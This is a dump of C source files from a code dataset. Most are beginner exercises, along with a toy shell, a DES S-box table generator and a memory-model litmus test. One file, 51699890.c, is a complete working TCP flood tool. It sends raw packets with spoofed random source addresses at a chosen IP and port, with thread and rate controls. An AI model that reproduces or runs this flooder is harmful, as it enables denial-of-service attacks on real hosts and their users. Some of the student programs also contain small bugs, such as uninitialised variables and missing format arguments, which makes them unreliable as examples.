file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/97011621.c
#include <stdio.h> int main(){ int* pc; int c; c = 22; printf("Address of c:%d\n", &c); printf("Value of c:%d\n\n", c); pc = &c; printf("Address of pointer pc:%d\n", pc); printf("Content of pointer pc:%d\n\n", *pc); c = 11; printf("Address of pointer pc:%d\n", pc); printf("Content of pointer pc:%d\n\n", *pc); *pc = 2; printf("Address of c:%d\n", &c); printf("Value of c:%d\n\n", c); return 0; }
the_stack_data/87638281.c
#include <unistd.h> #include <stdlib.h> #include <stdio.h> #define N 64 /* array of pointers to the memory we'll allocate */ int *mem[N]; int main(void) { int i; /* Allocate N chunks of memory, then free them! */ for (i = 0; i < N; i++) { mem[i] = malloc(16); } for (i = 0; i < N; i++) { free(mem[i]); } return 0; }
the_stack_data/51699890.c
/* * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;) */ #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netdb.h> #include <net/if.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; static unsigned int floodport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int count) { register unsigned long sum = 0; while( count > 1 ) { sum += *buf++; count -= 2; } if(count > 0) { sum += *(unsigned char *)buf; } while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr=iph->saddr; pseudohead.dst_addr=iph->daddr; pseudohead.zero=0; pseudohead.proto=IPPROTO_TCP; pseudohead.length=htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); unsigned short output = csum(tcp,totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = rand(); tcph->seq = rand(); tcph->ack_seq = rand(); tcph->res2 = 0; tcph->doff = 5; tcph->psh = 1; tcph->window = rand(); tcph->check = 0; tcph->urg_ptr = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(floodport); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <port> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } fprintf(stdout, "Setting up Sockets...\n"); int num_threads = atoi(argv[3]); floodport = atoi(argv[2]); int maxpps = atoi(argv[4]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 20; int i; for(i = 0;i<num_threads;i++){ pthread_create( &thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stdout, "Starting Flood...\n"); for(i = 0;i<(atoi(argv[5])*multiplier);i++) { usleep((1000/multiplier)*1000); if((pps*multiplier) > maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; }
the_stack_data/87639109.c
// 多项式加法,程序设计入门——C语言,第7周编程练习,题目一 /* 难点和体会: (1)排序、二分搜索算法本身的概念比较明确,不算难点; (2)关键是,对结果的输出,要考虑多种情况; (3)比如,某一项是否为0、是否第一项、系数为正为负、系数是否为1、幂是否为1或0等等。 (4)因为题目要求的输出结果是没有圆括号的,要不然的话直接用圆括号把系数括起来最简单。 */ #include <stdio.h> struct factor { int power; // 幂 int fac; // 系数 }; typedef struct factor FACTOR; void sortf(FACTOR a[], int len_a); int searchf(int power_a, FACTOR b[], int len_b); int main(void) { FACTOR a[100], b[100]; int i = -1; do { i++; scanf("%d%d", &a[i].power, &a[i].fac); } while (a[i].power != 0); int num_a = i + 1; sortf(a, num_a); i = -1; do { i++; scanf("%d%d", &b[i].power, &b[i].fac); } while (b[i].power != 0); int num_b = i + 1; sortf(b, num_b); FACTOR c[100]; int num_c, index; for (num_c = 0; num_c < num_a; num_c++) { index = searchf(a[num_c].power, b, num_b); if (index != -1) { c[num_c].fac = a[num_c].fac + b[index].fac; c[num_c].power = a[num_c].power; b[index].fac = 111; b[index].power = 111; } else { c[num_c] = a[num_c]; } } for (int j = 0; j < num_b; j++) { if (b[j].power != 111) { c[num_c++] = b[j]; } } sortf(c, num_c); int count_0_fac = 0; int k; for (k = 0;; k++) { if (c[k].power <= 1) { break; } if (c[k].fac != 0) { if (count_0_fac == k) { if (c[k].fac == 1) { printf("x%d", c[k].power); } else { printf("%dx%d", c[k].fac, c[k].power); } } else { if (c[k].fac == 1) { printf("+x%d", c[k].power); } else if (c[k].fac > 0) { printf("+%dx%d", c[k].fac, c[k].power); } else { printf("%dx%d", c[k].fac, c[k].power); } } } else { count_0_fac++; } } if (c[k].power == 1) { if (c[k].fac != 0) { if (count_0_fac == k) { if (c[k].fac == 1) { printf("x"); } else { printf("%dx", c[k].fac); } } else { if (c[k].fac == 1) { printf("+x"); } else if (c[k].fac > 0) { printf("+%dx", c[k].fac); } else { printf("%dx", c[k].fac); } } } else { count_0_fac++; } k++; } if (c[k].power == 0) { if (c[k].fac != 0) { if (count_0_fac == k) { printf("%d", c[k].fac); } else { if (c[k].fac > 0) { printf("+%d", c[k].fac); } else { printf("%d", c[k].fac); } } } else { count_0_fac++; } } if (count_0_fac == num_c) { printf("0"); } return 0; } void sortf(FACTOR a[], int len_a) { for (int i = 0; i < len_a - 1; i++) { for (int num_c = i; num_c < len_a; num_c++) { if (a[i].power < a[num_c].power) { FACTOR temp; temp = a[i]; a[i] = a[num_c]; a[num_c] = temp; } } } } int searchf(int power_a, FACTOR b[], int len_b) { int ret = -1; int left = 0, right = len_b - 1; int mid = (left + right) / 2; while (mid != left) { if (power_a == b[mid].power) { ret = mid; break; } else if (power_a > b[mid].power) { right = mid; mid = (left + right) / 2; } else { left = mid; mid = (left + right) / 2; } } if (power_a == b[left].power) { ret = left; } else if (power_a == b[right].power) { ret = right; } return ret; } /* 题目内容: 一个多项式可以表达为x的各次幂与系数乘积的和,比如: 2x6+3x5+12x3+6x+20 现在,你的程序要读入两个多项式,然后输出这两个多项式的和,也就是把对应的幂上的系数相加然后输出。 程序要处理的幂最大为100。 输入格式: 总共要输入两个多项式,每个多项式的输入格式如下: 每行输入两个数字,第一个表示幂次,第二个表示该幂次的系数,所有的系数都是整数。第一行一定是最高幂,最后一行一定是0次幂。 注意第一行和最后一行之间不一定按照幂次降低顺序排列;如果某个幂次的系数为0,就不出现在输入数据中了;0次幂的系数为0时还是会出现在输入数据中。 输出格式: 从最高幂开始依次降到0幂,如: 2x6+3x5+12x3-6x+20 注意其中的x是小写字母x,而且所有的符号之间都没有空格,如果某个幂的系数为0则不需要有那项。 输入样例: 6 2 5 3 3 12 1 6 0 20 6 2 5 3 2 12 1 6 0 20 输出样例: 4x6+6x5+12x3+12x2+12x+40 时间限制:500ms内存限制:32000kb */
the_stack_data/123191.c
#include <stdio.h> main() { int a,b,c,xtra,sum; while(scanf("%d%d",&a,&b)!=EOF) { sum=a; xtra=0; while(a>=b) { xtra=a%b; sum+=a/b; a=a/b; a=a+xtra; } printf("%d\n",sum); } return 0; }
the_stack_data/662816.c
#include<stdio.h> #include<stdlib.h> #include<string.h> int is_palindrome(char *word, int length){ length -= 1; for (int i = 0; i < (length / 2); ++i){ if (word[i] != word[length - i]){ return 0; } } return 1; } int main(int argc, char *argv[]){ int result; int length; char *word; // clean input if (argc != 2){ puts("This program takes one string argument"); exit(1); } // grab arg length = strlen(argv[1]); word = malloc((length + 1) * sizeof(char)); strcpy(word, argv[1]); // compute result and print result = is_palindrome(word, length); if (result){ printf("%s is a palindrome\n", word); } else { printf("%s is not a palindrome\n", word); } // tidy up and exit free(word); return 0; }
the_stack_data/1214067.c
#include <stdio.h> int main() { int a=0,b=0;char c; puts("Enter a sentence:"); while ((c=getchar())!=EOF) { if (c<32) break;++b; if (c==' ') ++a; } printf("letters:%d\nspaces:%d\n",b,a); return 0; }
the_stack_data/165766809.c
#include <stdio.h> // For the test case, we really want the the layout of this binary // to be: // // foo() // bar() - 4096 bytes of nop's // main() // "HI" string // // in reality getting this layout from the compiler and linker // is a crapshoot, so I have yaml's checked in of the correct // layout. Recompiling from source may not get the needed // binary layout. static int bar(); static int foo() { return 5 + bar(); } // A function of 4096 bytes, so when main() loads the // address of foo() before this one, it has to subtract // a 4096 page. #define SIXTY_FOUR_BYTES_NOP \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); \ asm("nop"); static int bar() { SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; SIXTY_FOUR_BYTES_NOP; return 5; } int main() { int (*f)(void) = foo; puts("HI"); return f(); }
the_stack_data/543073.c
#include <stdio.h> #include <string.h> #include <math.h> #include <stdlib.h> //Complete the following function. int marks_summation(int* marks, int number_of_students, char gender) { //Write your code here. int sum = 0; if (gender == 'b'){ for(int i = 0; i < number_of_students; i += 2) sum += marks[i]; } else { for (int i = 1; i < number_of_students; i += 2) sum += marks[i]; } return sum; } int main() { int number_of_students; char gender; int sum; scanf("%d", &number_of_students); int *marks = (int *) malloc(number_of_students * sizeof (int)); for (int student = 0; student < number_of_students; student++) { scanf("%d", (marks + student)); } scanf(" %c", &gender); sum = marks_summation(marks, number_of_students, gender); printf("%d", sum); free(marks); return 0; }
the_stack_data/64924.c
#include <stdio.h> int max_sub_sequence_sum(const int sequence[], size_t sequence_size); int main(int argc, char *argv[]) { int sequences[][8] = { { 4, -3, 5, -2, -1, 2, 6, -2 }, { 1, 2, 3, 4, -4, -3, -2, -1 }, { 1, -1, 2, -2, 3, -3, 4, -4 }, { 1, -1, 1, -1, 1, -1, 1, -1 }, { 1, 2, 3, 4, 5, 6, 7, -1000 }, { -100, 1, 2, 3, 4, 5, -9, 1 } }; for (int i = 0; i < sizeof(sequences) / sizeof(sequences[0]); ++i) { int *sequence = sequences[i]; int max_sum = max_sub_sequence_sum(sequence, sizeof(sequences[0]) / sizeof(int)); printf("Max sub sequence sum: %d\n", max_sum); } return 0; } /** * find max sub sequence sum and return * @param sequence * @param sequence_size * @return */ int max_sub_sequence_sum(const int sequence[], size_t sequence_size) { int max_sum = sequence[0]; for (int curr_sum = 0, i = 0; i < sequence_size; ++i) { curr_sum += sequence[i]; // swap max sum if (curr_sum > max_sum) { max_sum = curr_sum; } else if (curr_sum < 0) { curr_sum = 0; } } return max_sum; }
the_stack_data/162644219.c
//+ // File: shell.c // // Purpose: This program implements a simple shell program. It does not start // processes at this point in time. However, it will change directory // and list the contents of the current directory. // // The commands are: // cd name -> change to directory name, print an error if the directory doesn't exist. // If there is no parameter, then change to the home directory. // ls -> list the entries in the current directory. // If no arguments, then ignores entries starting with . // If -a then all entries // pwd -> print the current directory. // exit -> exit the shell (default exit value 0) // // if the command is not recognized an error is printed. //- #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <sys/types.h> #include <pwd.h> #include <ctype.h> #define CMD_BUFFSIZE 1024 #define MAXARGS 10 // function declaration int splitCommandLine(char * commandBuffer, char* args[], int maxargs); void doCommand(char * args[], int nargs); char * skipChar(char * charPtr, char skip); //+ // Function: main // // Purpose: // This function facilitates the way the program runs // and the order in which functions are called. // // Parameters: // no parameters // // Returns: // An integer, not returned in this code //- int main() { char commandBuffer[CMD_BUFFSIZE]; char *args[MAXARGS]; int nargs; // print prompt.. fflush is needed because // stdout is line buffered, and won't // write to terminal until newline printf("%%> "); fflush(stdout); while(fgets(commandBuffer,CMD_BUFFSIZE,stdin) != NULL){ // Remove newline at end of buffer commandBuffer[strcspn(commandBuffer, "\n")] = 0; // Split command line into words. nargs = splitCommandLine(commandBuffer, args, MAXARGS); // Debugging for step 2 //printf("%d\n", nargs); //int i; //for (i = 0; i < nargs; i++){ // printf("%d: %s\n",i,args[i]); //} // Execute the command // Remember to check if there is a command (i.e. value of nargs) if(nargs > 0){ doCommand(args, nargs); } // print prompt printf("%%> "); fflush(stdout); } } ////////////////////////////// String Handling /////////////////////////////////// //+ // Function: skipChar // // Purpose: This function skips over a given char in a string // For security, the function will not skip null chars. // // Parameters: // charPtr Pointer to string // skip character to skip // // Returns: Pointer to first character after skipped chars. // Identity function if the string doesn't start with skip, // or skip is the null character //- char * skipChar(char * charPtr, char skip) { if (skip == '\0') { return charPtr; } while (charPtr) { if (*charPtr == skip) { charPtr++; } else { return charPtr; } } } //+ // Function: splitCommandLine // // Purpose: This splits a string into an array of strings. // The array is passed as an argument. The string // is modified by replacing some of the space characters // with null characters to terminate each of the strings. // // Parameters: // commandBuffer The string to split // args An array of char pointers // maxargs Size of array args (max number of arguments) // // Returns: Number of arguments (< maxargs). // //- int splitCommandLine(char * commandBuffer, char* args[], int maxargs){ char* frontOfW; //pointer to front of a word char* backOfW; //pointer to the end/back of a word int nargs = 0; //number of words stored, to be returned frontOfW = skipChar(commandBuffer, ' '); //skip the first spaces backOfW = strchr(frontOfW, ' '); //find end of word while(backOfW){ *backOfW = '\0'; //change first space after word to \0 args[nargs] = frontOfW; //save the pointer to the word to the array nargs++; if(nargs == maxargs) { fprintf(stderr, "Exceeded maximum number of words\n"); return nargs; } frontOfW = skipChar(++backOfW, ' '); //increment pointer by one then use skipChar to find next word backOfW = strchr(frontOfW, ' '); } //no more spaces in the commandBuffer if(*frontOfW != '\0'){ //if there is another word, save it args[nargs] = frontOfW; } return nargs; } ////////////////////////////// Command Handling /////////////////////////////////// // typedef for the function handler pointer typedef void (*functionPtr)(char*[], int); // cmdStruct type: // Associates a command name with a command handling function typedef struct { char* commandName; functionPtr function; } command; // prototypes for command handling functions void exitFunc(char* [], int); void pwd(char* [], int); void ls(char* [], int); void cd(char* [], int); // Array that provides the list commands and functions; terminated by {NULL, NULL} command commandDispTable[] = { {"pwd", pwd},{"cd", cd},{"ls", ls},{"exit", exitFunc},{NULL, NULL} }; //+ // Function: doCommand // // Purpose: This command calls a command handling function from // the commands array based on the first argument passed // in the args array. // // Parameters: // args command and parameters, an array of pointers to strings // nargs number of entries in the args array // // Returns nothing (void) //- void doCommand(char * args[], int nargs){ command* tempCommand = commandDispTable; //point to the front the the array while(tempCommand->commandName){ //loop when name is not NULL if(strcmp(tempCommand->commandName, args[0])==0){ //if the name and args[0] are the same return tempCommand->function(args, nargs); } tempCommand++; //point to next element of array } fprintf(stderr, "%s: Command was not found\n", args[0]); //if a return did not occur, there was no matching function } ////////////////////////////////////////////////// // command Handling Functions // ////////////////////////////////////////////////// // all command handling functions have the same // parameter types and return values. ////////////////////////////////////////////////// //+ // Function: exitFunc // // Purpose: this command exits the current shell // Since it is called by doCommand, it is known // that arg is at least one element long // // Parameters: // args command and parameters, an array of pointers to strings // nargs number of entries in the args array // parameters are not used // // Returns nothing (void) //- void exitFunc(char * args[], int nargs){ exit(0); } //+ // Function: pwd // // Purpose: this command performs prints the working directory // and displays the full path to the current directory // Since it is called by doCommand, it is known // that arg is at least one element long // // Parameters: // args command and parameters, an array of pointers to strings // nargs number of entries in the args array // parameters are not used in this function // // Returns nothing (void) //- void pwd(char * args[], int nargs){ char * cwd = getcwd(NULL, 0); printf("%s\n", cwd); free(cwd); } //+ // Function: cd // // Purpose: this command changes the current working directory to // a specified new directory. // If no directory is specified, the new directory will // be the home directory. // Since it is called by doCommand, it is known // that arg is at least one element long // // Parameters: // args command and parameters, an array of pointers to strings // nargs number of entries in the args array // // Returns nothing (void) //- void cd(char * args[], int nargs){ char* directory; if(nargs == 2){ directory = args[1]; }else{ struct passwd *pw = getpwuid(getuid()); if(pw){ directory = pw->pw_dir; }else{ fprintf(stderr, "cd: Error getting home directory\n"); } } if(chdir(directory)!= 0){ fprintf(stderr, "cd: %s: No such directory\n"); } } typedef int (*lsFilter)(const struct dirent*); // filter function prototypes int filterHidden (const struct dirent* d) { return !(d->d_name[0] == '.'); } //+ // Function: ls // // Purpose: this command lists the files in the current // working directory. // If there is no argument, the filter function // will act as the third parameter. // If the argument is "-a", then NULL is the third parameter. // Since it is called by doCommand, it is known // that arg is at least one element long // // Parameters: // args command and parameters, an array of pointers to strings // nargs number of entries in the args array // // Returns nothing (void) //- void ls (char *args[], int nargs) { lsFilter filter = filterHidden; // default filter struct dirent** namelist; // used to keep a list of all entities // passed an option if (nargs == 2) { if (strcmp(args[1], "-a") == 0) filter = NULL; // disable filter else { // recieved an unknown option fprintf(stderr, "ls: Invalid option -- '%s'\n", ++args[1]); return; } } int numEnts = scandir(".", &namelist, filter, NULL); // scan current directory int i; for (i=0;i<numEnts;++i) // print out all entities printf("%s\n", namelist[i]->d_name); }
the_stack_data/90765707.c
#include "stdio.h" int main () { int a, b = 2; printf("a = %d, b = %d\n", a, b); }
the_stack_data/122219.c
/* This program produces C source containing static initializations * for the combined S and P boxes in DES. * * Usage: gensp c > dessp.c (for C version) * gensp a > desspa.c (for assembler versions) * * Note! There are two different formats of the output, one for the portable * C version and the other for the 386/486 inline assembler version. In the * portable version, each entry is rotated 1 bit to the left to match the * format of the L and R halves in that code; this avoids one of the left * rotates that would otherwise be required in each round. * * In the assembler version, each entry is rotated by 2 more bits (3 total) * to match that version's convention of rotating the L and R halves left * 3 bits to avoid two shift operations that would otherwise be required * in each round to convert the 6-bit index into the SP array into a * memory offset. So be sure to run this program with the correct argument. * * August 1994, Phil Karn, KA9Q */ #include <stdio.h> unsigned long Spbox[8][64]; /* Combined S and P boxes */ /* 32-bit permutation function P used on the output of the S-boxes */ static unsigned char p32i[] = { 16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25 }; /* The (in)famous S-boxes */ static unsigned char sbox[8][64] = { /* S1 */ 14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13, /* S2 */ 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9, /* S3 */ 10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12, /* S4 */ 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14, /* S5 */ 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3, /* S6 */ 12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13, /* S7 */ 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12, /* S8 */ 13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11 }; int desinit(int); main(argc,argv) int argc; char *argv[]; { int i,j,k; int shifts; if(argc != 2){ fprintf(stderr,"Usage: %s a|c\n",argv[0]); return 0; } switch(argv[1][0]){ case 'a': /* Generate for assembler version */ shifts = 3; printf("unsigned long Spboxa[8][64] = {\n"); break; case 'c': /* Generate for portable C version */ shifts = 1; printf("unsigned long Spbox[8][64] = {\n"); break; default: printf("Invalid code %s\n",argv[1]); exit(1); } desinit(0); k = 0; for(i=0;i<8;i++){ for(j=0;j<64;j++){ Spbox[i][j] = (Spbox[i][j] << shifts) | (Spbox[i][j] >> (32-shifts)); printf("0x%08lx,",Spbox[i][j]); if(++k == 4){ printf("\n"); k = 0; } } } printf("};\n"); return 0; } /* Initialize the lookup table for the combined S and P boxes * "mode" no longer used; only standard DES supported */ int desinit(mode) int mode; { unsigned char pbox[32]; int p,i,s,j,rowcol; /* Compute pbox, the inverse of p32i. * This is easier to work with */ for(p=0;p<32;p++){ for(i=0;i<32;i++){ if(p32i[i]-1 == p){ pbox[p] = i; break; } } #ifdef DEBUG printf("pbox[%d] = %d\n",p,pbox[p]); #endif } for(s = 0; s < 8; s++){ /* For each S-box */ for(i=0; i<64; i++){ /* For each possible input */ Spbox[s][i] = 0; /* The row number is formed from the first and last * bits; the column number is from the middle 4 */ rowcol = (i & 32) | ((i & 1) ? 16 : 0) | ((i >> 1) & 0xf); for(j=0;j<4;j++){ /* For each output bit */ if(sbox[s][rowcol] & (8 >> j)){ Spbox[s][i] |= 1L << (31 - pbox[4*s + j]); } } #ifdef DEBUG printf("Spbox[%d][%2d] = %08lx\n",s,i,Spbox[s][i]); #endif } } return 0; }
the_stack_data/48575404.c
# include <stdio.h> int main(){ char c; printf("Please input one character: "); scanf("%c", &c); if (c >= 'A' && c <= 'Z') printf("A capital! %c", c); else if (c >= 'a' && c < 'z') printf("A small case letter! %c", c); else if (c >= '0' && c <= '9') printf("A number! %c", c); else printf("c is %c", c); return 0; } /* TEst Note char can be compared to each other, there is no need to remember the ascii code for chars */
the_stack_data/148508.c
void fence() { asm("sync"); } void lwfence() { asm("lwsync"); } void isync() { asm("isync"); } int __unbuffered_cnt = 0; int __unbuffered_p0_EAX = 0; int __unbuffered_p0_EBX = 0; int __unbuffered_p2_EAX = 0; int x = 0; int y = 0; void *P0(void *arg) { __unbuffered_p0_EAX = y; __unbuffered_p0_EBX = x; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void *P1(void *arg) { x = 1; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void *P2(void *arg) { __unbuffered_p2_EAX = x; y = 1; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } int main() { __CPROVER_ASYNC_0: P0(0); __CPROVER_ASYNC_1: P1(0); __CPROVER_ASYNC_2: P2(0); __CPROVER_assume(__unbuffered_cnt == 3); fence(); // EXPECT:exists __CPROVER_assert( !(__unbuffered_p0_EAX == 1 && __unbuffered_p0_EBX == 0 && __unbuffered_p2_EAX == 1), "Program was expected to be safe for X86, model checker should have said " "NO.\nThis likely is a bug in the tool chain."); return 0; }
the_stack_data/420717.c
